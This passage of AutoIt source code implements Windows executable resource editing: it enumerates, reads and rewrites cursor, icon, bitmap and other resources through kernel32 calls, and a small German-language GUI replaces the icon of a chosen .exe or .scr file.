Local $TCURSORWRITE = DllStructCreate("ushort Xhotspot;" & "ushort Yhotspot;" & "byte Body[" & DllStructGetSize($TRESOURCE) - 22 & "]", DllStructGetPtr($TRESOURCE) + DllStructGetData($TRESOURCE, "BitmapOffset") - 4)
DllStructSetData($TCURSORWRITE, "Xhotspot", DllStructGetData($TRESOURCE, "Xhotspot"))
DllStructSetData($TCURSORWRITE, "Yhotspot", DllStructGetData($TRESOURCE, "Xhotspot"))
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(7, 0, "")
EndIf
Local $ICURNAME = 1
For $M = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$M][0][0] = $RT_CURSOR Then
For $N = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
If $ICURNAME = $ARRAY_MODULE_STRUCTURE[$M][$N][0] Then
$ICURNAME += 1
EndIf
Next
ExitLoop
EndIf
Next
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $RT_CURSOR, "int", $ICURNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TCURSORWRITE), "dword", DllStructGetSize($TCURSORWRITE))
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(8, 0, "")
EndIf
Local $TCURSORGROUPWRITE = DllStructCreate("ushort;" & "ushort Type;" & "ushort ImageCount;" & "ushort Width;" & "ushort Height;" & "ushort Planes;" & "ushort BitPerPixel;" & "ushort;" & "ushort;" & "ushort OrdinalName")
DllStructSetData($TCURSORGROUPWRITE, 1, DllStructGetData($TRESOURCE, 1))
DllStructSetData($TCURSORGROUPWRITE, "Type", DllStructGetData($TRESOURCE, "Type"))
DllStructSetData($TCURSORGROUPWRITE, "ImageCount", DllStructGetData($TRESOURCE, "ImageCount"))
DllStructSetData($TCURSORGROUPWRITE, "Width", DllStructGetData($TBITMAP, "Width"))
DllStructSetData($TCURSORGROUPWRITE, "Height", DllStructGetData($TBITMAP, "Height"))
DllStructSetData($TCURSORGROUPWRITE, "Planes", DllStructGetData($TBITMAP, "Planes"))
DllStructSetData($TCURSORGROUPWRITE, "BitPerPixel", DllStructGetData($TBITMAP, "BitPerPixel"))
DllStructSetData($TCURSORGROUPWRITE, 8, 308)
DllStructSetData($TCURSORGROUPWRITE, "OrdinalName", $ICURNAME)
Switch IsNumber($IRESNAME)
Case True
$A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $RT_GROUP_CURSOR, "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TCURSORGROUPWRITE), "dword", DllStructGetSize($TCURSORGROUPWRITE))
Case Else
$A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $RT_GROUP_CURSOR, "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TCURSORGROUPWRITE), "dword", DllStructGetSize($TCURSORGROUPWRITE))
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(9, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(10, 0, "")
EndIf
Case $RT_GROUP_ICON
Local $TBINARY = DllStructCreate("byte[" & FileGetSize($SRESFILE) & "]")
Local $HRESFILE = FileOpen($SRESFILE, 16)
DllStructSetData($TBINARY, 1, FileRead($HRESFILE))
FileClose($HRESFILE)
Local $TRESOURCE = DllStructCreate("ushort;" & "ushort Type;" & "ushort ImageCount;" & "byte Body[" & DllStructGetSize($TBINARY) - 6 & "]", DllStructGetPtr($TBINARY))
Local $IICONCOUNT = DllStructGetData($TRESOURCE, "ImageCount")
If Not $IICONCOUNT Then
Return SetError(5, 0, "")
EndIf
Local $TICONGROUPHEADER = DllStructCreate("ushort;" & "ushort Type;" & "ushort ImageCount;" & "byte Body[" & $IICONCOUNT * 14 & "]")
DllStructSetData($TICONGROUPHEADER, 1, DllStructGetData($TRESOURCE, 1))
DllStructSetData($TICONGROUPHEADER, "Type", DllStructGetData($TRESOURCE, "Type"))
DllStructSetData($TICONGROUPHEADER, "ImageCount", DllStructGetData($TRESOURCE, "ImageCount"))
Local $TINPUTICONHEADER
Local $TGROUPICONDATA
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(6, 0, "")
EndIf
Local $IENUMICONNAME
For $I = 1 To $IICONCOUNT
$TINPUTICONHEADER = DllStructCreate("ubyte Width;" & "ubyte Height;" & "ubyte Colors;" & "ubyte;" & "ushort Planes;" & "ushort BitPerPixel;" & "dword BitmapSize;" & "dword BitmapOffset", DllStructGetPtr($TRESOURCE, "Body") + ($I - 1) * 16)
$TGROUPICONDATA = DllStructCreate("ubyte Width;" & "ubyte Height;" & "ubyte Colors;" & "ubyte;" & "ushort Planes;" & "ushort BitPerPixel;" & "dword BitmapSize;" & "ushort OrdinalName;", DllStructGetPtr($TICONGROUPHEADER, "Body") + ($I - 1) * 14)
DllStructSetData($TGROUPICONDATA, "Width", DllStructGetData($TINPUTICONHEADER, "Width"))
DllStructSetData($TGROUPICONDATA, "Height", DllStructGetData($TINPUTICONHEADER, "Height"))
DllStructSetData($TGROUPICONDATA, "Colors", DllStructGetData($TINPUTICONHEADER, "Colors"))
DllStructSetData($TGROUPICONDATA, 4, DllStructGetData($TINPUTICONHEADER, 4))
DllStructSetData($TGROUPICONDATA, "Planes", DllStructGetData($TINPUTICONHEADER, "Planes"))
DllStructSetData($TGROUPICONDATA, "BitPerPixel", DllStructGetData($TINPUTICONHEADER, "BitPerPixel"))
DllStructSetData($TGROUPICONDATA, "BitmapSize", DllStructGetData($TINPUTICONHEADER, "BitmapSize"))
$IENUMICONNAME += 1
For $M = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$M][0][0] = $RT_ICON Then
For $N = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
If $IENUMICONNAME = $ARRAY_MODULE_STRUCTURE[$M][$N][0] Then
$IENUMICONNAME += 1
EndIf
Next
ExitLoop
EndIf
Next
DllStructSetData($TGROUPICONDATA, "OrdinalName", $IENUMICONNAME)
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $RT_ICON, "int", $IENUMICONNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE) + DllStructGetData($TINPUTICONHEADER, "BitmapOffset"), "dword", DllStructGetData($TINPUTICONHEADER, "BitmapSize"))
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(7, $IENUMICONNAME, "")
EndIf
Next
Switch IsNumber($IRESNAME)
Case True
$A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $RT_GROUP_ICON, "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TICONGROUPHEADER), "dword", DllStructGetSize($TICONGROUPHEADER))
Case Else
$A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $RT_GROUP_ICON, "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TICONGROUPHEADER), "dword", DllStructGetSize($TICONGROUPHEADER))
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(8, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(9, 0, "")
EndIf
Case $RT_RCDATA, $RT_MANIFEST, $RT_ANICURSOR, $RT_ANIICON, $RT_HTML
Local $TRESOURCE = DllStructCreate("byte[" & FileGetSize($SRESFILE) & "]")
Local $HRESFILE = FileOpen($SRESFILE, 16)
DllStructSetData($TRESOURCE, 1, FileRead($HRESFILE))
FileClose($HRESFILE)
If @error Then
Return SetError(5, 0, "")
EndIf
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(6, 0, "")
EndIf
Switch IsNumber($IRESNAME)
Case True
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
Case Else
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(7, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(8, 0, "")
EndIf
Case $RT_BITMAP
Local $TBINARY = DllStructCreate("byte[" & FileGetSize($SRESFILE) & "]")
Local $HRESFILE = FileOpen($SRESFILE, 16)
DllStructSetData($TBINARY, 1, FileRead($HRESFILE))
FileClose($HRESFILE)
Local $TRESOURCE = DllStructCreate("align 2;char Identifier[2];" & "dword BitmapSize;" & "short;" & "short;" & "dword BitmapOffset;" & "byte Body[" & DllStructGetSize($TBINARY) - 14 & "]", DllStructGetPtr($TBINARY))
If Not (DllStructGetData($TRESOURCE, 1) == "BM") Then
Return SetError(5, 0, "")
EndIf
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(6, 0, "")
EndIf
Switch IsNumber($IRESNAME)
Case True
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE, "Body"), "dword", FileGetSize($SRESFILE) - 14)
Case Else
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE, "Body"), "dword", FileGetSize($SRESFILE) - 14)
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(7, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(8, 0, "")
EndIf
Case Else
Local $TRESOURCE = DllStructCreate("byte[" & FileGetSize($SRESFILE) & "]")
Local $HRESFILE = FileOpen($SRESFILE, 16)
DllStructSetData($TRESOURCE, 1, FileRead($HRESFILE))
FileClose($HRESFILE)
If @error Then
Return SetError(5, 0, "")
EndIf
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "BeginUpdateResourceW", "wstr", $SMODULE, "int", 0)
If @error Or Not $A_HCALL[0] Then
Return SetError(6, 0, "")
EndIf
Switch IsNumber($IRESTYPE) + 2 * IsNumber($IRESNAME)
Case 0
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "wstr", StringUpper($IRESTYPE), "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
Case 1
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "wstr", StringUpper($IRESNAME), "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
Case 2
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResourceW", "hwnd", $A_HCALL[0], "wstr", StringUpper($IRESTYPE), "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
Case 3
Local $A_ICALL = DllCall("kernel32.dll", "int", "UpdateResource", "hwnd", $A_HCALL[0], "int", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG, "ptr", DllStructGetPtr($TRESOURCE), "dword", FileGetSize($SRESFILE))
EndSwitch
If @error Or Not $A_ICALL[0] Then
DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
Return SetError(7, 0, "")
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EndUpdateResource", "hwnd", $A_HCALL[0], "int", 0)
If @error Or Not $A_ICALL[0] Then
Return SetError(8, 0, "")
EndIf
EndSwitch
Return SetError(0, 0, 1)
EndFunc ;==>_RESUPDATE
Func _RESOURCEGETASRAW($IRESTYPE, $IRESNAME, $IRESLANG, $SMODULE, $IMODE = 0, $ISIZE = 0)
Local $ILOADED
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "GetModuleHandleW", "wstr", $SMODULE)
If @error Then
Return SetError(1, 0, "")
EndIf
If Not $A_HCALL[0] Then
$A_HCALL = DllCall("kernel32.dll", "hwnd", "LoadLibraryExW", "wstr", $SMODULE, "hwnd", 0, "int", 34)
If @error Or Not $A_HCALL[0] Then
Return SetError(2, 0, "")
EndIf
$ILOADED = 1
EndIf
Local $HMODULE = $A_HCALL[0]
Switch IsNumber($IRESTYPE) + 2 * IsNumber($IRESNAME)
Case 0
$A_HCALL = DllCall("kernel32.dll", "hwnd", "FindResourceExW", "hwnd", $HMODULE, "wstr", $IRESTYPE, "wstr", $IRESNAME, "int", $IRESLANG)
Case 1
$A_HCALL = DllCall("kernel32.dll", "hwnd", "FindResourceExW", "hwnd", $HMODULE, "int", $IRESTYPE, "wstr", $IRESNAME, "int", $IRESLANG)
Case 2
$A_HCALL = DllCall("kernel32.dll", "hwnd", "FindResourceExW", "hwnd", $HMODULE, "wstr", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG)
Case 3
$A_HCALL = DllCall("kernel32.dll", "hwnd", "FindResourceExW", "hwnd", $HMODULE, "int", $IRESTYPE, "int", $IRESNAME, "int", $IRESLANG)
EndSwitch
If @error Or Not $A_HCALL[0] Then
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(7, 0, "")
EndIf
EndIf
Return SetError(3, 0, "")
EndIf
Local $HRESOURCE = $A_HCALL[0]
Local $A_ICALL = DllCall("kernel32.dll", "int", "SizeofResource", "hwnd", $HMODULE, "hwnd", $HRESOURCE)
If @error Or Not $A_ICALL[0] Then
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(7, 0, "")
EndIf
EndIf
Return SetError(4, 0, "")
EndIf
Local $ISIZEOFRESOURCE = $A_ICALL[0]
$A_HCALL = DllCall("kernel32.dll", "hwnd", "LoadResource", "hwnd", $HMODULE, "hwnd", $HRESOURCE)
If @error Or Not $A_HCALL[0] Then
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(7, 0, "")
EndIf
EndIf
Return SetError(5, 0, "")
EndIf
Local $A_PCALL = DllCall("kernel32.dll", "ptr", "LockResource", "hwnd", $A_HCALL[0])
If @error Or Not $A_PCALL[0] Then
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(7, 0, "")
EndIf
EndIf
Return SetError(6, 0, "")
EndIf
Local $TOUT
Switch $IMODE
Case 0
$TOUT = DllStructCreate("char[" & $ISIZEOFRESOURCE + 1 & "]", $A_PCALL[0])
Case 1
$TOUT = DllStructCreate("byte[" & $ISIZEOFRESOURCE & "]", $A_PCALL[0])
EndSwitch
Local $SRETURNDATA = DllStructGetData($TOUT, 1)
If $ILOADED Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(7, 0, "")
EndIf
EndIf
Switch $ISIZE
Case 0
Return SetError(0, 0, $SRETURNDATA)
Case Else
Switch $IMODE
Case 0
Return SetError(0, 0, StringLeft($SRETURNDATA, $ISIZE))
Case 1
Return SetError(0, 0, BinaryMid($SRETURNDATA, 1, $ISIZE))
EndSwitch
EndSwitch
EndFunc ;==>_RESOURCEGETASRAW
#Region - Find Icon -
Func _RESREP($HOST, $NAME, $RES)
If Not _RESINFO($HOST) Then Return 0
For $F = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$F][0][0] = 14 Then
For $G = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
If $ARRAY_MODULE_STRUCTURE[$F][$G][0] == $NAME Then
If StringIsDigit($ARRAY_MODULE_STRUCTURE[$F][$G][0]) Then
_RESDELETE($HOST, 14, Int($NAME), $ARRAY_MODULE_STRUCTURE[$F][$G][1])
If @error Then
_RESDELETE($HOST, 14, $NAME, $ARRAY_MODULE_STRUCTURE[$F][$G][1])
Else
$NAME = Int($NAME)
EndIf
Else
_RESDELETE($HOST, 14, $NAME, $ARRAY_MODULE_STRUCTURE[$F][$G][1])
EndIf
If @error Then
MsgBox(16, "Error", "Das Icon konnte nicht geändert werden.")
Return 0
EndIf
_RESUPDATE($HOST, 14, $NAME, $ARRAY_MODULE_STRUCTURE[$F][$G][1], $RES)
EndIf
Next
EndIf
Next
_RESENUM($HOST)
Return 1
EndFunc ;==>_RESREP
Func _RESENUM($HOST)
Local $ALISTVIEWPOS = ControlGetPos($FORM2, 0, $LISTVIEW1)
If @error Then
Return SetError(1, 0, 0)
EndIf
GUICtrlDelete($LISTVIEW1)
$LISTVIEW1 = 0
$LISTVIEW1 = GUICtrlCreateListView("Icons|name", $ALISTVIEWPOS[0], $ALISTVIEWPOS[1], $ALISTVIEWPOS[2], $ALISTVIEWPOS[3])
GUICtrlSetFont($LISTVIEW1, 8)
GUICtrlSetColor($LISTVIEW1, 192)
GUICtrlSetResizing($LISTVIEW1, 70)
GUICtrlSetStyle($LISTVIEW1, 256)
GUICtrlSetState($LISTVIEW1, 32)
Local $ACLIENTSIZE = WinGetClientSize($FORM2)
If Not _RESINFO($HOST) Then Return 0
For $F = 0 To UBound($ARRAY_MODULE_STRUCTURE, 1) - 1
If $ARRAY_MODULE_STRUCTURE[$F][0][0] = 14 Then
For $G = 1 To UBound($ARRAY_MODULE_STRUCTURE, 2) - 1
If $ARRAY_MODULE_STRUCTURE[$F][$G][0] Then
For $H = 1 To UBound($ARRAY_MODULE_STRUCTURE, 3) - 1
Local $AICONDATA = _CRACKICON($ARRAY_MODULE_STRUCTURE[$F][$G][0], $ARRAY_MODULE_STRUCTURE[$F][$G][1], $HOST)
If @error Then
Return SetError(2, 0, "")
EndIf
If Not IsArray($AICONDATA) Then
Return SetError(0, 1, "")
EndIf
Local $IWIDTH
Local $IHEIGHT
For $I = 0 To UBound($AICONDATA) - 1
$IWIDTH = $AICONDATA[$I][0]
$IHEIGHT = $AICONDATA[$I][1]
If $IWIDTH Then
ExitLoop
EndIf
Next
ReDim $ALISTVIEWITEM[UBound($AICONDATA)]
Local $BBINARY
Local $TBINARY
Local $TICON, $IPNGICON
Local $STEMPFILE = @DesktopDir & "\" & _GENERATEGUID() & ".ico"
If @error Then
Return SetError(3, 0, "")
EndIf
Local $HTEMPFILE
Local $IBITMAPSIZE
For $I = 0 To UBound($AICONDATA) - 1
$BBINARY = _RESOURCEGETASRAW($RT_ICON, $AICONDATA[$I][6], $ARRAY_MODULE_STRUCTURE[$F][$G][1], $HOST, 1)
If @error Then
ContinueLoop
EndIf
$IBITMAPSIZE = BinaryLen($BBINARY)
$TBINARY = DllStructCreate("byte[" & $IBITMAPSIZE & "]")
DllStructSetData($TBINARY, 1, $BBINARY)
$TICON = DllStructCreate("align 2;ushort;" & "ushort Type;" & "ushort ImageCount;" & "ubyte Width;" & "ubyte Height;" & "ubyte Colors;" & "ubyte;" & "ushort Planes;" & "ushort BitPerPixel;" & "dword BitmapSize;" & "dword BitmapOffset;" & "byte Body[" & $IBITMAPSIZE & "]")
DllStructSetData($TICON, "Type", 1)
DllStructSetData($TICON, "ImageCount", 1)
DllStructSetData($TICON, "Width", $AICONDATA[$I][0])
DllStructSetData($TICON, "Height", $AICONDATA[$I][1])
DllStructSetData($TICON, "Colors", $AICONDATA[$I][2])
DllStructSetData($TICON, "Planes", $AICONDATA[$I][3])
DllStructSetData($TICON, "BitPerPixel", $AICONDATA[$I][4])
DllStructSetData($TICON, "BitmapSize", $IBITMAPSIZE)
DllStructSetData($TICON, "BitmapOffset", 22)
DllStructSetData($TICON, "Body", DllStructGetData($TBINARY, 1))
$TBINARY = DllStructCreate("byte[" & DllStructGetSize($TICON) & "]", DllStructGetPtr($TICON))
$HTEMPFILE = FileOpen($STEMPFILE, 26)
FileWrite($HTEMPFILE, DllStructGetData($TBINARY, 1))
FileClose($HTEMPFILE)
If $AICONDATA[$I][6] Then
If Not $AICONDATA[$I][2] Then
$AICONDATA[$I][2] = ">256"
EndIf
If Not $AICONDATA[$I][0] Then
$AICONDATA[$I][0] = 256
EndIf
If Not $AICONDATA[$I][1] Then
$AICONDATA[$I][1] = 256
EndIf
EndIf
$ALISTVIEWITEM[$I] = GUICtrlCreateListViewItem("Width: " & $AICONDATA[$I][0] & @LF & "Height: " & $AICONDATA[$I][1] & @LF & "Colors: " & $AICONDATA[$I][2] & @LF & "Planes: " & $AICONDATA[$I][3] & @LF & "BitPerPixel: " & $AICONDATA[$I][4] & @LF & "ImageSize: " & $AICONDATA[$I][5] & " bytes" & @LF & "RTIcon name: " & $AICONDATA[$I][6] & "|" & $ARRAY_MODULE_STRUCTURE[$F][$G][0], $LISTVIEW1)
If Not GUICtrlSetImage($ALISTVIEWITEM[$I], $STEMPFILE, -1) Then
$IPNGICON += 1
EndIf
Next
FileDelete($STEMPFILE)
GUICtrlSetState($HICO, 16)
GUICtrlSetState($LISTVIEW1, 16)
Next
EndIf
Next
EndIf
Next
Return 1
EndFunc ;==>_RESENUM
Func _RESOURCEENUMERATE(ByRef $SMODULE)
DllCall("kernel32.dll", "dword", "SetErrorMode", "dword", 1)
Local $ILOADED
Local $A_HCALL = DllCall("kernel32.dll", "hwnd", "GetModuleHandleW", "wstr", $SMODULE)
If @error Then
Return SetError(2, 0, "")
EndIf
If Not $A_HCALL[0] Then
$A_HCALL = DllCall("kernel32.dll", "hwnd", "LoadLibraryExW", "wstr", $SMODULE, "hwnd", 0, "int", 34)
If @error Or Not $A_HCALL[0] Then
Return SetError(3, 0, "")
EndIf
$ILOADED = 1
EndIf
Local $HMODULE = $A_HCALL[0]
$ARRAY_MODULE_STRUCTURE[0][0][0] = ""
$GLOBAL_NAMES_COUNT = 1
$NAME_COUNT = 0
$GLOBAL_LANGS_COUNT = 1
$LANG_COUNT = 0
$GLOBAL_TYPES_COUNT = 1
Local $H_CB = DllCallbackRegister("_CallbackEnumResTypeProc", "int", "hwnd;ptr;ptr")
If Not $H_CB Then
Return SetError(4, 0, "")
EndIf
Local $H_CB1 = DllCallbackRegister("_CallbackEnumResNameProc", "int", "hwnd;ptr;ptr;ptr")
If Not $H_CB1 Then
Return SetError(4, 0, "")
EndIf
Local $A_ICALL = DllCall("kernel32.dll", "int", "EnumResourceTypesW", "hwnd", $HMODULE, "ptr", DllCallbackGetPtr($H_CB), "ptr", DllCallbackGetPtr($H_CB1))
If @error Then
DllCallbackFree($H_CB)
If $ILOADED Then
$A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(6, 0, "")
EndIf
EndIf
Return SetError(5, 0, "")
EndIf
DllCallbackFree($H_CB1)
DllCallbackFree($H_CB)
If $ILOADED Then
$A_ICALL = DllCall("kernel32.dll", "int", "FreeLibrary", "hwnd", $HMODULE)
If @error Or Not $A_ICALL[0] Then
Return SetError(6, 0, "")
EndIf
EndIf
Return SetError(0, 0, 1)
EndFunc ;==>_RESOURCEENUMERATE
Func _CALLBACKENUMRESTYPEPROC($HMODULE, $PTYPE, $LPARAM)
$GLOBAL_TYPES_COUNT += 1
$NAME_COUNT = 0
If $IPOPULATEARRAY Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "lstrlenW", "ptr", $PTYPE)
If $A_ICALL[0] Then
Local $TTYPE = DllStructCreate("wchar[" & $A_ICALL[0] + 1 & "]", $PTYPE)
$ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT - 1][0][0] = DllStructGetData($TTYPE, 1)
Else
$ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT - 1][0][0] = BitOR($PTYPE, 0)
EndIf
EndIf
Local $H_CB = DllCallbackRegister("_CallbackEnumResLangProc", "int", "hwnd;ptr;ptr;ushort;int")
$A_ICALL = DllCall("kernel32.dll", "int", "EnumResourceNamesW", "hwnd", $HMODULE, "ptr", $PTYPE, "ptr", $LPARAM, "ptr", DllCallbackGetPtr($H_CB))
DllCallbackFree($H_CB)
Return 1
EndFunc ;==>_CALLBACKENUMRESTYPEPROC
Func _CALLBACKENUMRESLANGPROC($HMODULE, $PTYPE, $PNAME, $ILANG, $LPARAM)
$LANG_COUNT += 1
If $LANG_COUNT > $GLOBAL_LANGS_COUNT - 1 Then
$GLOBAL_LANGS_COUNT += 1
EndIf
If $IPOPULATEARRAY Then
$ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT - 1][$LPARAM][$LANG_COUNT] = $ILANG
EndIf
Return 1
EndFunc ;==>_CALLBACKENUMRESLANGPROC
Func _CALLBACKENUMRESNAMEPROC($HMODULE, $PTYPE, $PNAME, $LPARAM)
$LANG_COUNT = 0
$NAME_COUNT += 1
If $IPOPULATEARRAY Then
Local $A_ICALL = DllCall("kernel32.dll", "int", "lstrlenW", "ptr", $PNAME)
If $A_ICALL[0] Then
Local $TNAME = DllStructCreate("wchar[" & $A_ICALL[0] + 1 & "]", $PNAME)
$ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT - 1][$NAME_COUNT][0] = DllStructGetData($TNAME, 1)
Else
$ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT - 1][$NAME_COUNT][0] = BitOR($PNAME, 0)
EndIf
Else
If $NAME_COUNT > $GLOBAL_NAMES_COUNT - 1 Then
$GLOBAL_NAMES_COUNT += 1
EndIf
EndIf
$A_ICALL = DllCall("kernel32.dll", "int", "EnumResourceLanguagesW", "hwnd", $HMODULE, "ptr", $PTYPE, "ptr", $PNAME, "ptr", $LPARAM, "int", $NAME_COUNT)
Return 1
EndFunc ;==>_CALLBACKENUMRESNAMEPROC
Func _RESINFO($SFILE)
If $SFILE Then
Local $HFILE = FileOpen($SFILE, 16)
If $HFILE = -1 Then
MsgBox(48, "Error", "Inernal error")
Return 0
EndIf
Local $BFILE = FileRead($HFILE)
FileClose($HFILE)
If Not (BinaryToString(BinaryMid($BFILE, 1, 2)) == "MZ") Then
MsgBox(48, "Error", "Bitte wähle eine .exe oder .scr")
Return 0
EndIf
$IPOPULATEARRAY = 0
ReDim $ARRAY_MODULE_STRUCTURE[1][1][1]
_RESOURCEENUMERATE($SFILE)
Switch @error
Case 2, 4, 6
MsgBox(48, "Error", "Inernal error")
Return 0
Case 3
MsgBox(48, "Error", "Unable to load " & FileGetLongName($SFILE))
Return 0
Case 5
MsgBox(48, "Error", "Error enumerating")
Return 0
EndSwitch
$IPOPULATEARRAY = 1
ReDim $ARRAY_MODULE_STRUCTURE[$GLOBAL_TYPES_COUNT][$GLOBAL_NAMES_COUNT][$GLOBAL_LANGS_COUNT]
_RESOURCEENUMERATE($SFILE)
Switch @error
Case 2, 4, 6
MsgBox(48, "Error", "Inernal error")
Return 0
Case 3
MsgBox(48, "Error", "Unable to load " & FileGetLongName($SFILE))
Return 0
Case 5
MsgBox(48, "Error", "Error enumerating")
Return 0
EndSwitch
Else
Return 0
EndIf
Return 1
EndFunc ;==>_RESINFO
Func _GENERATEGUID()
Local $GUIDSTRUCT = DllStructCreate("int;short;short;byte[8]")
Local $A_ICALL = DllCall("rpcrt4.dll", "int", "UuidCreate", "ptr", DllStructGetPtr($GUIDSTRUCT))
If @error Or $A_ICALL[0] Then
Return SetError(1, 0, "")
EndIf
$A_ICALL = DllCall("ole32.dll", "int", "StringFromGUID2", "ptr", DllStructGetPtr($GUIDSTRUCT), "wstr", "", "int", 40)
If @error Or Not $A_ICALL[0] Then
Return SetError(2, 0, "")
EndIf
Return SetError(0, 0, $A_ICALL[2])
